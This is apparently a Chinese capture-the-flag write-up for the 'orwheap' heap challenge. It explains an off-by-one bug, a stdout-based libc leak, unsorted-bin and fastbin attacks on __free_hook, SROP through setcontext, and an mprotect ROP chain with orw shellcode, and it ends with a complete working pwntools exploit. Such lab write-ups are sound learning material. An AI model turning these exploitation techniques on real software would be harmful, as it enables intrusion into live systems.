orwheap:
这道题做了快两天才搞明白,下面记录一下该题的历程:
思路:
没有show因此使用stdout泄露地址,用setcontext来进行srop攻击,使用mprotect函数来改写权限,最后注入shellcode获取flag,因为开了沙箱因此进行orw攻击,下面进行具体实践一下
放进ida分析一下
mian:
main.png这个函数开启了沙箱我们用seccomp-tools来看看禁用了什么:
cnitlrt@cnitlrt-ubuntu16:~/buuctf$ seccomp-tools dump ./orwheap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
可以看到禁用了execve,因此one_gadget和system全部失效因此无法直接getshell只能通过orw来进行攻击
add:
add.png限制了数量和大小
off by one:
vun.png这里有一个off by one 漏洞
edit和free就没什么看的了
好了分析到此结束,接下来就要知道怎么得到flag:
First step:
add(0x68,"\n")#0
add(0x78,"\n")#1
add(0x68,(p64(0)+p64(0x21))*6+"\n")#2
add(0x68,(p64(0)+p64(0x21))*6+"\n")#3
首先我们申请四个块,并在里面伪造块,用来过后面的free的检查
当前堆布局:
addr prev size status fd bk
0x555555757000 0x0 0x70 Used None None
0x555555757070 0x0 0x80 Used None None
0x5555557570f0 0x0 0x70 Used None None
0x555555757160 0x0 0x70 Used
second step:
构造overlapchunk:
free(0)
add(0x68,0x60*'a'+p64(0)+p8(0x81+0x70)+"\n") #change 1's size
free(1) #进unsorted bin
free(2) #进fastbin 用于后面的fastbinattrack
add(0x78,"\n")#1 此时2带有main_arena
free(0)
add(0x68,0x60*'a'+p64(0)+p8(0x81+0x20)) #change 1's size
free(1) #进unsorted 并且2进入smallbin
add(0x98,"\n")#1 此时1可以控制2的fd和bk
bin:
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557570f0 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x5555557570f0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x5555557570f0 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x5555557570f0
largebins
empty
Third Step:
劫持stdout
edit(1,p64(0)*15+p64(0x71)+p16(0x2620-0x43))
add(0x68,"\n")#2
add(0x68,0x33*'a'+p64(0xfbad1800)+p64(0)*3+"\n")#4
这里我关闭了asrl因此可以清楚的知道stdout的地址,但是如果是远程的话需要爆破,有1/16的可能性
$2 = {
file = {
_flags = 0xfbad1800,
_IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
可以看到flags的值已经被我们调低,但是有一点一直没有明白,按常理来说应该会把flags后面的值也覆盖掉但是却没有改变,却成功输出了write_base和write_ptr之间的内容
接下来随便选一个值来获取libc_base就好了
接下来的一步就是我认为最精妙的地方了,通过1来控制2的size,使他再次进入unsortedbin 中,还记得我们开始的时候将chunk3和chunk4填充的那些数据不,这里就是为了过后面的free的检查
edit(1,"b"*0x70+p64(0)+p64(0x91))
free(2)
接下来就是用unsorted bin attrack来在free_hook上方写入数据,然后利用fastbinattrack覆盖free_hook为setcontext来为接下来的srop做铺垫
edit(1,'a'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
add(0x88,"\n")
edit(1,"a"*0x70+p64(0)+p64(0x71))
free(2)
edit(1,"a"*0x70+p64(0)+p64(0x71)+p64(free_hook-0x13))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
payload = str(frame)
add(0x68, payload[0x80:0x80+0x60]+"\n")#2
add(0x68, '\x00'*3 + p64(libc_base + libc.symbols['setcontext'] + 53) + '\n')#5
然后就是在堆块里构造srop:
edit(1,payload[:0x98])
0x555555757070: 0x0000000000000000 0x00000000000000a1
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000000 0x0000000000000000
0x5555557570d0: 0x0000000000000000 0x0000000000000000
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x00007ffff7dd3000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000002000
0x555555757110: 0x0000000000000000 0x0000000000000000
0x555555757120: 0x00007ffff7dd3000 0x00007ffff7ac9375
0x555555757130: 0x0000000000000000 0x0000000000000033
0x555555757140: 0x0000000000000000 0x0000000000000000
0x555555757150: 0x0000000000000000 0x0000000000000000
0x555555757160: 0x0000000000000000 0x0000000000000070
因为free_hook已经被劫持成了setcontext了因此我们free堆块1就相当一系列pop,当pop到rip的时候就会执行syscall,从而调用read(0,free_hook1,0x2000),执行完之后会进行ret,ret相当于pop rip因此会将栈顶的数据pop给ip,我们在栈顶构造rop链调用mprotect函数修改free_hook1的页权限,注入shellcode拿到flag
payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002a71+libc_base]
shellcode = shellcraft.amd64.open('flag')
shellcode += """
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
"""
p.send(flat(payload)+asm(shellcode))
mprotect的系统调用号是10,改写rwx权限是0x7
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
binary = 'orwheap'
elf = ELF('orwheap')
libc = elf.libc
context.log_level = 'debug'
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = ""
port = 0
p = remote(host,port)
context.binary = binary
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
def add(size,payload):
p.sendlineafter("Choice: ","1")
p.sendlineafter("size: ",str(size))
p.sendafter("content: ",payload)
def edit(index,payload):
p.sendlineafter("Choice: ","3")
p.sendlineafter("idx: ",str(index))
p.sendafter("content: ",payload)
def free(index):
p.sendlineafter("Choice: ","2")
p.sendlineafter("idx: ",str(index))
def exp():
add(0x68,"\n")#0
add(0x78,"\n")#1
add(0x68,(p64(0)+p64(0x21))*6+"\n")#2
add(0x68,(p64(0)+p64(0x21))*6+"\n")#3
free(0)
add(0x68,0x60*'a'+p64(0)+p8(0x81+0x70)+"\n")
free(1)
free(2)
add(0x78,"\n")#1
free(0)
add(0x68,0x60*'a'+p64(0)+p8(0x81+0x20))
free(1)
add(0x98,"\n")#1
edit(1,p64(0)*15+p64(0x71)+p16(0x2620-0x43))
add(0x68,"\n")#2
add(0x68,0x33*'a'+p64(0xfbad1800)+p64(0)*3+"\n")#4
libc_base = l64()-0x3c5600
lg("libc_base",libc_base)
free_hook = libc.symbols["__free_hook"]+libc_base
lg("free_hook",free_hook)
free_hook1 = libc.sym["__free_hook"]+libc_base&0xfffffffffffff000
lg("free_hook1",free_hook1)
setcontext = libc.sym["setcontext"]+libc_base
lg("setcontext",setcontext)
syscall = 0xbc375+libc_base
lg("syscall",syscall)
pop_rdi = 0x021102+libc_base
pop_rsi = 0x00000000000202e8+libc_base
pop_rdx = libc_base+0x0000000000001b92
pop_rax = libc_base+0x0000000000033544
edit(1,"b"*0x70+p64(0)+p64(0x91))
free(2)
edit(1,'a'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
add(0x88,"\n")
edit(1,"a"*0x70+p64(0)+p64(0x71))
free(2)
edit(1,"a"*0x70+p64(0)+p64(0x71)+p64(free_hook-0x13))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
payload = str(frame)
add(0x68, payload[0x80:0x80+0x60]+"\n")#2
add(0x68, '\x00'*3 + p64(libc_base + libc.symbols['setcontext'] + 53) + '\n')#5
edit(1,payload[:0x98])
free(1)
payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002a71+libc_base]
shellcode = shellcraft.amd64.open('flag')
shellcode += """
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
"""
p.send(flat(payload)+asm(shellcode))
p.interactive()
if __name__ == "__main__":
exp()
最后效果:
'flag{1234}'
flag{1234}[*] Got EOF while reading in interactive
$
参考:
http://blog.eonew.cn/archives/1243
https://blog.csdn.net/u010334666/article/details/103889663